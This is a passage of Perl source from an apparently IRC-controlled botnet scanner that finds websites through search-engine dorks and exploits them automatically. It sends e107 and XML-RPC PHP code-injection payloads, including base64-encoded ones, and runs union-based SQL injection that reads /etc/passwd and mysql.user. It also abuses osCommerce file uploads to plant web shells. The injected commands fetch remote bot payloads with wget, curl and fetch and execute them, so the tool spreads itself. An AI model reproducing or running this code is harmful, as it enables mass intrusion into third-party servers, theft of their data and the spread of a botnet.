  1080.     my $code = "system('cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;cd /var/tmp;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;rm -rf *.jp*;');";
  1081.     my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".encode_base64($code)."'));?>");
  1082.     $ua->timeout(7);
  1083.     my $req = HTTP::Request->new(GET => $url);
  1084.     my $res = $ua->request($req);
  1085. }
  1086.  
  1087. sub e107() {
  1088.     my $chan = $_[0];
  1089.     my $bug = $_[1];
  1090.     my $dork = $_[2];
  1091.     my $engine = $_[3];
  1092.     my $count = 0;
  1093.     my @list = &search_engine($chan,$bug,$dork,$engine,$e107logo);
  1094.     my $num = scalar(@list);
  1095.     if ($num > 0) {
  1096.         foreach my $site (@list) {
  1097.             $count++;
  1098.             if ($count == $num-1) { &msg("$chan","$e107logo(4@8$engine15)10 Scan finish"); }
  1099.             my $test = "http://".$site.$bug;
  1100.             my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";
  1101.             my $html = &e107_rce_query($test,$code);
  1102.             if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) {
  1103.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1104.                     my $sys = $1;
  1105.                     my $upload = 'if(@copy("'.$injector.'","images.php")) { echo "c0liSUKSESc0li";@copy("'.$botshell.'","byroe.php");@copy("'.$botshell2.'","allnet.php");} elseif(@copy("'.$injector.'","e107_themes/images.php")) { echo "ipays_dthem";@copy("'.$botshell.'","e107_themes/byroe.php");@copy("'.$botshell2.'","e107_themes/allnet.php");} elseif(@copy("'.$injector.'","e107_plugins/images.php")) { echo "ipays_dplug";@copy("'.$botshell.'","e107_plugins/byroe.php");@copy("'.$botshell2.'","e107_plugins/allnet.php");} elseif(@copy("'.$injector.'","e107_images/images.php")) { echo "ipays_dima";@copy("'.$botshell.'","e107_images/byroe.php");@copy("'.$botshell2.'","e107_images/allnet.php");}';
  1106.                     my $res = &e107_rce_query($test,encode_base64($upload));
  1107.                     if ($res =~ /c0liSUKSESc0li/) {
  1108.                                                 &get_content("http://".$site."byroe.php");
  1109.                                                 &get_content("http://".$site."allnet.php");
  1110.                         &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1111.                         &msg("$admin","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1112.                     }
  1113.                     elsif ($res =~ /ipays_dthem/) {
  1114.                                                 &get_content("http://".$site."e107_themes/byroe.php");
  1115.                                                 &get_content("http://".$site."e107_themes/allnet.php");
  1116.                         &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."e107_themes/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1117.                         &msg("$admin","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."e107_themes/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1118.                     }
  1119.                     elsif ($res =~ /ipays_dplug/) {
  1120.                                                 &get_content("http://".$site."e107_plugins/byroe.php");
  1121.                                                 &get_content("http://".$site."e107_plugins/allnet.php");
  1122.                         &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."e107_plugins/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1123.                         &msg("$admin","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."e107_plugins/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1124.                     }
  1125.                     elsif ($res =~ /ipays_dima/) {
  1126.                                                 &get_content("http://".$site."e107_images/byroe.php");
  1127.                                                 &get_content("http://".$site."e107_images/allnet.php");
  1128.                         &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."e107_images/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1129.                         &msg("$admin","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."e107_images/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1130.                     }
  1131.                     else {
  1132.                         &msg("$chan","$e107logo(4@8$engine15)15(4@9Vuln15)7 ".$test." 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
  1133.                     }
  1134.                     &e107_spread_query($test);
  1135.                     sleep(2);
  1136.                 } exit; } sleep(2);
  1137.             }
  1138.             elsif ($html =~ /v0pCr3w<br>sys:(.+?)<br>/) {
  1139.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1140.                     my $sys = $1;
  1141.                     my $upload = 'if(@copy("'.$injector.'","images.php")) { echo "c0liSUKSESc0li";@copy("'.$botshell.'","byroe.php");@copy("'.$botshell2.'","allnet.php");} elseif(@copy("'.$injector.'","e107_themes/images.php")) { echo "ipays_dthem";@copy("'.$botshell.'","e107_themes/byroe.php");@copy("'.$botshell2.'","e107_themes/allnet.php");} elseif(@copy("'.$injector.'","e107_plugins/images.php")) { echo "ipays_dplug";@copy("'.$botshell.'","e107_plugins/byroe.php");@copy("'.$botshell2.'","e107_plugins/allnet.php");} elseif(@copy("'.$injector.'","e107_images/images.php")) { echo "ipays_dima";@copy("'.$botshell.'","e107_images/byroe.php");@copy("'.$botshell2.'","e107_images/allnet.php");}';
  1142.                     my $res = &e107_rce_query($test,encode_base64($upload));
  1143.                     if ($res =~ /c0liSUKSESc0li/) {
  1144.                                                 &get_content("http://".$site."byroe.php");
  1145.                                                 &get_content("http://".$site."allnet.php");
  1146.                         &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)10 http://".$site."4images.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1147.                     }
  1148.                     if ($res =~ /ipays_dthem/) {
  1149.                                                 &get_content("http://".$site."e107_themes/byroe.php");
  1150.                                                 &get_content("http://".$site."e107_themes/allnet.php");
  1151.                         &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)10 http://".$site."e107_themes/4images.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1152.                     }
  1153.                     if ($res =~ /ipays_dplug/) {
  1154.                                                 &get_content("http://".$site."e107_plugins/byroe.php");
  1155.                                                 &get_content("http://".$site."e107_plugins/allnet.php");
  1156.                         &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)10 http://".$site."e107_plugins/4images.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1157.                     }
  1158.                     if ($res =~ /ipays_dima/) {
  1159.                                                 &get_content("http://".$site."e107_images/byroe.php");
  1160.                                                 &get_content("http://".$site."e107_images/allnet.php");
  1161.                         &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)10 http://".$site."e107_images/4images.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1162.                     }
  1163.                     else {
  1164.                         &msg("$chan","$e107logo(4@8$engine15)15(4@9Vuln15)10 ".$test." 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
  1165.                     }
  1166.                 } exit; } sleep(2);
  1167.             }
  1168.         }
  1169.     }
  1170. }
  1171.  
  1172. sub e107_rce_query() {
  1173.     my $url = $_[0];
  1174.     my $code = $_[1];
  1175.     my $req = HTTP::Request->new(POST => $url);
  1176.     $req->content_type('application/x-www-form-urlencoded');
  1177.     $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  1178.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1179.     $ua->timeout(7);
  1180.     my $res = $ua->request($req);
  1181.     return $res->content;
  1182. }
  1183.  
  1184. sub e107_spread_query() {
  1185.     my $url = $_[0];
  1186.     my $code = "7ZPfasIwFMbvB3uHGAamMqv7c2XnEPYAe4FBadMTW5cmIUmtMnz3JWmrDASZsLvdpef7vt85JKdAS4nwdq7e9FP7kutXnNzeQCiavVngWJUqbURWA4liPBjuaF0scbAJmc+LvU8ntEAzW6tE12iqGSqkjidoEm/UOp4kDCwtUWmtWsxmn1Jbl46pmOW58SHvSlwvNJx7yPDZrsFen6aN5mj6fj2At2payFZwmRW/oPgb2Wb6/1Z+UMIGgYF1U/k9gh3x+xQlYZ9OgnOxRlBbSYGCh0H05ZIaDFqi8djpFUNkBLWy+072esXIEEthVxlryBh2QMdBXfljMN97UJQcgRtZCYI/BD4KB/cncAPngKYEztMTtmesTvVuoAuUvbFQ94PJPDU205b40KqTjpCB70zuyVMqhQXhEMHriiCKlHLIBLnQUmXG2FI3Z5sO4h+0lQpEf1XME0OhewessU+3ZcWBjFYMJOtfE32hMEHsAkxDVnSBh/njc5Sgg5+YcmmA3LHQ31U02EaLEPOVbw==";
  1187.     my $req = HTTP::Request->new(POST => $url);
  1188.     $req->content_type('application/x-www-form-urlencoded');
  1189.     $req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  1190.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1191.     $ua->timeout(7);
  1192.     my $res = $ua->request($req);
  1193. }
  1194.  
  1195. sub xml() {
  1196.     my $chan = $_[0];
  1197.     my $bug = $_[1];
  1198.     my $dork = $_[2];
  1199.     my $engine = $_[3];
  1200.     my $count = 0;
  1201.     my @list = &search_engine($chan,$bug,$dork,$engine,$xmllogo);
  1202.     my $num = scalar(@list);
  1203.     if ($num > 0) {
  1204.         foreach my $site (@list) {
  1205.             $count++;
  1206.             if ($count == $num-1) { &msg("$chan","$xmllogo(4@8$engine15)10 Scan finish"); }
  1207.             my $test = "http://".$site.$bug;
  1208.             my $vuln = "http://".$site."13".$bug;
  1209.             my $html = &get_content($test);
  1210.             if ($html =~ /faultCode/ ) {
  1211.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1212.             my $resp = &xml_cek_query($test);
  1213.                         if ($resp =~ /j13mb0t(.*)j13mb0t/s) {
  1214.                         &xml_spread_query($test);sleep(2);
  1215.                         my $sys = $1;
  1216.                         my $check = &get_content("http://".$site."images.php");
  1217.                                     &get_content("http://".$site."byroe.php");
  1218.                                     &get_content("http://".$site."allnet.php");
  1219.                                 if ($check =~ /ipays - exploit/) {
  1220.                                 &msg("$chan","$xmllogo(4@8$engine15)15(13@9SheLL15)13 http://".$site."7images.php 3".$sys);&get_content("http://".$site."byroe.php"); sleep(2);}
  1221.                                 else {
  1222.                                 &msg("$chan","$xmllogo(4@8$engine15)15(4@9SysTem15)7 ".$vuln." 3".$sys); sleep(2);}
  1223.                         }
  1224.         sleep(2); } exit; } }
  1225.                 }
  1226.         }
  1227. }
  1228.  
  1229. sub xml_cek_query() {
  1230.     my $url         = $_[0];
  1231.         my $code = "system('uname -a');";
  1232.     my $ua = LWP::UserAgent->new(agent => 'perl post');
  1233.         $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1234.         $exploit .= "<methodName>test.method</methodName>";
  1235.         $exploit .= "<params><param><value><name>',''));";
  1236.         $exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
  1237.         $ua->timeout(7);
  1238.         my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
  1239.     return $res->content;
  1240. }
  1241.  
  1242. sub xml_spread_query() {
  1243. my $xmltargt = $_[0];
  1244. my $xmlsprd  = "system('wget ".$injector." -O images.php;fetch ".$injector.";mv ipays.jpg images.php;wget ".$botshell." -O byroe.php;fetch ".$botshell.";mv byroe.jpg byroe.php;wget ".$botshell2." -O allnet.php;fetch ".$botshell2.";mv allnet.jpg allnet.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;');";
  1245.                 my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  1246.         $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1247.         $exploit .= "<methodName>test.method</methodName>";
  1248.         $exploit .= "<params><param><value><name>',''));";
  1249.         $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>";
  1250.         $userAgent->timeout(7);
  1251.         $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
  1252. }
  1253.  
  1254. sub sql() {
  1255.     my $chan = $_[0];
  1256.     my $bug = $_[1];
  1257.     my $dork = $_[2];
  1258.     my $engine = $_[3];
  1259.     my $count = 0;
  1260.     my @list = &search_engine($chan,$bug,$dork,$engine,$sqllogo);
  1261.     my $num = scalar(@list);
  1262.     if ($num > 0) {
  1263.         foreach my $site (@list) {
  1264.             $count++;
  1265.             if ($count == $num-1) { &msg("$chan","$sqllogo(4@8$engine15)10 Scan finish"); }
  1266.             my $test = "http://".$site.$bug."'";
  1267.             my $vuln = "http://".$site."4".$bug;
  1268.             my $sqlsite = "http://".$site.$bug;
  1269.             my $html = &get_content($test);
  1270.                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1271.             if ($html =~ m/You have an error in your SQL syntax/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
  1272.                 &sqlbrute($sqlsite,$chan,$engine);}
  1273.             elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
  1274.                 &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsSQL15)13 ".$vuln);}
  1275.             elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
  1276.                 &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsAccess15)13 ".$vuln);}
  1277.             elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
  1278.                 &sqlbrute($sqlsite,$chan,$engine);}
  1279.             } exit; sleep(2); }
  1280.         }
  1281.     }
  1282. }
  1283. sub sqlbrute() {
  1284.                         my $situs=$_[0];
  1285.                         my $chan  =$_[1];
  1286.                         my $engine=$_[2];
  1287.                         my $columns=20;
  1288. my $cfin.="--";
  1289. my $cmn.= "+";
  1290. for ($column = 0 ; $column < $columns ; $column ++)
  1291.         {
  1292.         $union.=','.$column;
  1293.         $inyection.=','."0x6c6f67696e70776e7a";
  1294.     if ($column == 0)
  1295.       {
  1296.                   $inyection = '';
  1297.           $union = '';
  1298.       }
  1299.     $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
  1300.     $response=get($sql);
  1301.     if($response =~ /loginpwnz/)
  1302.                 {
  1303.          $column ++;
  1304.          $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
  1305.                  &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)13 $sql ");
  1306.          $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
  1307.          $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
  1308.          if($response =~ /loginpwnz/)
  1309.                  {
  1310.                  $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
  1311.                         &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13INFO_SCHEMA15)13 $sql ");
  1312.                  }
  1313.          $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
  1314.          $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
  1315.          if($response =~ /loginpwnz/)
  1316.                  {
  1317.                  $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
  1318.                         &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13USER15)13 $sql ");
  1319.                  }
  1320.          else
  1321.                  {
  1322.                  }
  1323.         while ($loadcont < $column-1)
  1324.            {
  1325.                 $loadfile.=','.'load_file(0x2f6574632f706173737764)';
  1326.                 $loadcont++;
  1327.            }
  1328.            $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
  1329.         $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
  1330.          if($response =~ /root:x:/)
  1331.                  {
  1332.                         &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Load File15)13 $sql ");
  1333.                         }
  1334.          else
  1335.                  {
  1336.                  }
  1337.                   foreach $tabla(@tabele)
  1338.                 {
  1339.                   chomp($tabla);
  1340.                   $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  1341.                                  $response=get($sql)or die("[-] Impossible to get tables\n");
  1342.                   if($response =~ /loginpwnz/)
  1343.                     {
  1344.                     $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
  1345.                                         &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Tabel15)13 $sql ");
  1346.                                         &tabelka($situs,$tabla,$chan,$engine);
  1347.                     }
  1348.                 }
  1349.             }
  1350.         }
  1351. }
  1352.  
  1353. sub tabelka() {
  1354.                         my $situs =$_[0];
  1355.                         my $tabla =$_[1];
  1356.                         my $chan  =$_[2];
  1357.                         my $engine=$_[3];
  1358.                         my $cfin.="--";
  1359.                         my $cmn.= "+";
  1360.             chomp($tabla);
  1361.             foreach $columna(@kolumny)
  1362.             {
  1363.              chomp($columna);
  1364.              $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  1365.              $response=get($sql)or die("[-] Impossible to get columns\n");
  1366.              if ($response =~ /loginpwnz/)
  1367.                 {
  1368.                                 &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13SQLi Vuln15)9 $situs 14(4@13Kolom14)13 $columna 14(4@13Tabel14)13 $tabla ");
  1369.                 }
  1370.             }
  1371.  
  1372. }
  1373.  
  1374. sub osco() {
  1375.     my $chan = $_[0];
  1376.     my $bug = $_[1];
  1377.     my $dork = $_[2];
  1378.     my $engine = $_[3];
  1379.     my $count = 0;
  1380.     my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  1381.     my $num = scalar(@list);
  1382.     if ($num > 0) {
  1383.         foreach my $site (@list) {
  1384.             $count++;
  1385.             if ($count == $num-1) { &msg("$chan","$oscologo(4@8$engine15)10 Scan finish"); }
  1386.             my $test = "http://".$site.$bug;
  1387.             my $html = &get_content($test);
  1388.                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1389.             if ($html =~ /Warning: No file uploaded/ ) {
  1390. #               &msg("$chan","$oscologo(4@8$engine15)15(4@9System15)7 ".$test);
  1391.                                 &osco_xpl($test,$chan,$site,$engine);
  1392.                                 } else { }
  1393.             } exit; sleep(2); }
  1394.         }
  1395.     }
  1396. }
  1397.  
  1398. sub osco_xpl() {
  1399. my $browser = LWP::UserAgent->new;
  1400. my $url    = $_[0];
  1401. my $chan   = $_[1];
  1402. my $site   = $_[2];
  1403. my $engine = $_[3];
  1404. my $res = $browser->post( $url,['products_image' => ['./ipays.jpg' => 'config.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1405. my $resb = $browser->post( $url,['products_image' => ['./byroe.jpg' => 'byroe.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1406. my $resc = $browser->post( $url,['products_image' => ['./allnet.jpg' => 'allnet.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1407.         my $hasil = $res->as_string;
  1408.         my $hasil1 = $resa->as_string;
  1409.         my $hasil2 = $resb->as_string;
  1410.         my $hasil3 = $resc->as_string;
  1411.         my $check = &get_content("http://".$site."images/config.inc.php");&get_content("http://".$site."images/byroe.php");&get_content("http://".$site."images/allnet.php");sleep(3);
  1412.         if ($check =~ /ipays - exploit/) {
  1413.         my $safe   ="";
  1414.         my $os            ="";
  1415.         my $free   ="";
  1416.     if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
  1417.     if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
  1418.     if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
  1419.     if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
  1420.         &msg("$chan","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4config.inc.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1421.         &msg("$admin","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4config.inc.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1422.         }
  1423. }
  1424.  
  1425. sub osco2() {
  1426.     my $chan = $_[0];
  1427.     my $bug = $_[1];
  1428.     my $dork = $_[2];
  1429.     my $engine = $_[3];
  1430.     my $count = 0;
  1431.     my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  1432.     my $num = scalar(@list);
  1433.     if ($num > 0) {
  1434.         foreach my $site (@list) {
  1435.             $count++;
  1436.             if ($count == $num-1) { &msg("$chan","$oscologo(4@8$engine15)10 Scan finish"); }
  1437.             my $test = "http://".$site.$bug;
  1438.             my $html = &get_content($test);
  1439.                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1440.             if ($html =~ /TABLE_HEADING_FILENAME/ ) {
  1441. #                 &msg("$chan","$oscologo(4@8$engine15)15(4@9System15)7 ".$test);
  1442.                                 &osco_xpl2($test,$chan,$site,$engine);
  1443.                                 } else { }
  1444.             } exit; sleep(2); }
  1445.         }
  1446.     }
  1447. }
  1448.  
  1449. sub osco_xpl2() {
  1450. my $browser = LWP::UserAgent->new;
  1451. my $url    = $_[0]."?action=processuploads";
  1452. my $chan   = $_[1];
  1453. my $site   = $_[2];
  1454. my $engine = $_[3];
  1455. my $res = $browser->post( $url,['file_1' => ['./ipays.jpg' => 'config.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1456. my $resb = $browser->post( $url,['file_1' => ['./byroe.jpg' => 'byroe.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1457. my $resc = $browser->post( $url,['file_1' => ['./allnet.jpg' => 'allnet.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1458.         my $hasil = $res->as_string;
  1459.         my $hasil1 = $resa->as_string;
  1460.         my $hasil2 = $resb->as_string;
  1461.         my $hasil3 = $resc->as_string;
  1462.         my $check = &get_content("http://".$site."images/config.inc.php");&get_content("http://".$site."images/byroe.php");&get_content("http://".$site."images/allnet.php");sleep(3);
  1463.         if ($check =~ /ipays - exploits/) {
  1464.         my $safe   ="";
  1465.         my $os            ="";
  1466.         my $free   ="";
  1467.     if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
  1468.     if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
  1469.     if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
  1470.     if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
  1471.         &msg("$chan","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4config.inc.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1472.         &msg("$admin","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4config.inc.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1473.         }
  1474. }
  1475.  
  1476. sub adm() {
  1477.     my $chan = $_[0];
  1478.     my $bug = $_[1];
  1479.     my $dork = $_[2];
  1480.     my $engine = $_[3];
  1481.     my $count = 0;
  1482.     my @list = &search_engine($chan,$bug,$dork,$engine,$admlogo);
  1483.     my $num = scalar(@list);
  1484.     if ($num > 0) {
  1485.         foreach my $site (@list) {
  1486.             $count++;
  1487.             if ($count == $num-1) { &msg("$chan","$admlogo(4@8$engine15)10 Scan finish"); }
  1488.             my $test  = "http://".$site."phpMyAdmin/config/config.inc.php?c=id";
  1489.             my $vuln = "http://".$site."phpMyAdmin/config/config.inc.php?c=4[cmd]s";
  1490.             my $re   = &get_content($test);
  1491.             if ($re =~ /$adm_output/){
  1492.             &msg("$path", "$admlogo(4@8$engine15)(4@13VulN15)13 ".$vuln."15(4@0OKE15)");
  1493.             }
  1494.          }
  1495.     }
  1496. }
  1497.  
  1498. sub op() {
  1499.     my $chan = $_[0];
  1500.     my $bug = $_[1];
  1501.     my $dork = $_[2];
  1502.     my $engine = $_[3];
  1503.     my $count = 0;
  1504.     my @list = &search_engine($chan,$bug,$dork,$engine,$oplogo);
  1505.     my $num = scalar(@list);
  1506.     if ($num > 0) {
  1507.         foreach my $site (@list) {
  1508.             $count++;
  1509.             if ($count == $num-1) { &msg("$chan","$oplogo(4@8$engine15)10 Scan finish"); }
  1510.             my $test  = "http://".$site.$open_test;
  1511.             my $vuln = "http://".$site."admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html";
  1512.             my $re   = &get_content($test);
  1513.             if ($re =~ /$open_output/){
  1514.             &msg("$path", "$oplogo(4@8$engine15)(4@13VulN15)13 ".$vuln."15(4@UPLOAD15)");
  1515.             }
  1516.          }
  1517.     }
  1518. }
  1519.  
  1520. sub zen() {
  1521.     my $chan = $_[0];
  1522.     my $bug = $_[1];
  1523.     my $dork = $_[2];
  1524.     my $engine = $_[3];
  1525.     my $count = 0;
  1526.     my @list = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
  1527.     my $num = scalar(@list);
  1528.     if ($num > 0) {
  1529.         foreach my $site (@list) {
  1530.             $count++;
